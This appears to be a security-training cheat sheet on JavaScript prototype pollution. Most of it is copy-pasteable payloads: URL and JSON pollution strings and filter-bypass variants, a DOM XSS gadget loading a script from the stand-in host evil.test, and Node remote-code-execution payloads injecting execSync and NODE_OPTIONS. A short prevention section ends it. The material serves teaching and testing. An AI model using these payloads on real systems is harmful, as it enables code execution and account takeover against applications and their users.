Prototype Pollution: The Complete Practical Guide

Prototype Pollution Cheat Sheet

A dense, copy-pasteable prototype pollution reference: source payloads, server JSON bodies, detection, sanitisation bypasses, and client and server gadgets.

Published

Every prototype pollution payload in one place. The core move never changes: write a property onto Object.prototype from a source, then let a later gadget read it into a sink. For the how and why behind each section, start at the prototype pollution guide. Lock it in on a free live target.

Client-side source payloads (URL to pollution)

?__proto__[polluted]=yes
?__proto__.polluted=yes
?constructor[prototype][polluted]=yes
#__proto__[polluted]=yes
#constructor[prototype][polluted]=yes

The URL only carries the key path. Pollution happens when vulnerable client code merges/assigns it. Dotted vs bracket depends on the parser; try both.

Server-side JSON body payloads

{ "__proto__": { "isAdmin": true } }
{ "__proto__": { "polluted": "yes" } }
{ "constructor": { "prototype": { "isAdmin": true } } }

Send with Content-Type: application/json to a body-merging endpoint (profile, settings, bulk import). After one request every object in the process inherits the prop until restart.

Proving the pollution (local sanity check)

JSON.parse('{"__proto__":{"polluted":"yes"}}'); // SAFE: own prop named __proto__, not a setter call
({}).polluted;                                   // undefined after parse alone
 
merge({}, JSON.parse('{"__proto__":{"polluted":"yes"}}')); // the MERGE pollutes
({}).polluted;                 // -> "yes"  (proof the prototype moved)
Object.prototype.polluted;     // -> "yes"

JSON.parse does NOT pollute. A later recursive merge/clone pollutes Object.prototype (it recurses through __proto__ into it). A shallow Object.assign only re-parents the target object. Spread {...obj} is safe.

Detection (server-side, blind)

Pollute a property the framework reflects, then compare to a clean baseline:
  status          -> error responses return your custom code (e.g. 510)      [reliable]
  exposedHeaders  -> value added to Access-Control-Expose-Headers (CORS)      [reliable]
  json spaces     -> res.json() responses pretty-printed                      [Express < 4.18.0 only, patched]
Safest: pollute a unique benign canary prop and read it back via any reflection.
{ "__proto__": { "status": 510 } }
{ "__proto__": { "json spaces": 9 } }

Sanitisation bypasses

__proto__ blocked              -> constructor[prototype][x]
dotted blocked, allow bracket  -> __proto__[x]   vs  __proto__.x   (parser-dependent)
single-pass __proto__ strip    -> __pro__proto__to__       (removing the inner one leaves __proto__)
single-pass constructor strip  -> constconstructorructor    (independent payload, one per word)
array form                     -> ["__proto__"]["x"]
encoding                       -> %5f%5fproto%5f%5f  (raw compare before decode)

Client gadget to DOM XSS

# after polluting, a gadget reads the prototype prop into a sink:
let cfg = userConfig.transport_url;   // own prop missing...
script.src = cfg;                     // ...inherits polluted URL -> attacker script loads
 
Pollute:  ?__proto__[transport_url]=//evil.test/x.js
Pollute:  ?__proto__[innerHTML]=<img src=x onerror=alert(document.domain)>

Named gadgets: hitCallback / sequence (PortSwigger gadget research); transport_url is a common example gadget.

Server RCE gadgets (Node)

template gadget (reliable): pollute a compile option the engine concatenates into code.
  EJS outputFunctionName (CVE-2022-29078, EJS before 3.1.7); Pug/Handlebars have compile-internal gadgets.
  The NEXT render executes attacker code. (process.mainModule PoC form: CJS-entry only.)
 
child_process gadgets (two mechanisms):
  shell / execArgv via the OPTIONS object -> hardened in modern Node (null-proto option clone)
  NODE_OPTIONS via process.env (direct prototype key) -> survives that patch,
    but --require needs a valid JS file (a writable path; /proc/self/environ needs a 2nd injection)
{ "__proto__": { "outputFunctionName": "x;process.mainModule.require('child_process').execSync('id');//" } }
{ "__proto__": { "NODE_OPTIONS": "--require=/tmp/x.js" } }
{ "__proto__": { "shell": "/bin/sh", "execArgv": ["--require=/tmp/x.js"] } }   // older Node only; options route blocked >= ~v18.18/v20.6

Impact: one pollution + one later benign render/spawn (on a vulnerable runtime) = code execution.

Prevention

  • Use Object.create(null) for any object used as a key/value map (no prototype to pollute), or use Map.
  • Replace unsafe deep-merge/clone helpers with versions that skip __proto__/constructor/prototype.
  • Schema-validate request bodies and reject those keys recursively (allow-list first, since block-lists lose to constructor.prototype).
  • Object.freeze(Object.prototype) at startup blocks the common vector, but it is NOT complete (other prototypes remain, can break apps).
  • Keep Node, template engines, and merge/query/clone dependencies current.

Full detail in preventing prototype pollution. The client gadget sink is DOM XSS.

← Back to Prototype Pollution: The Complete Practical Guide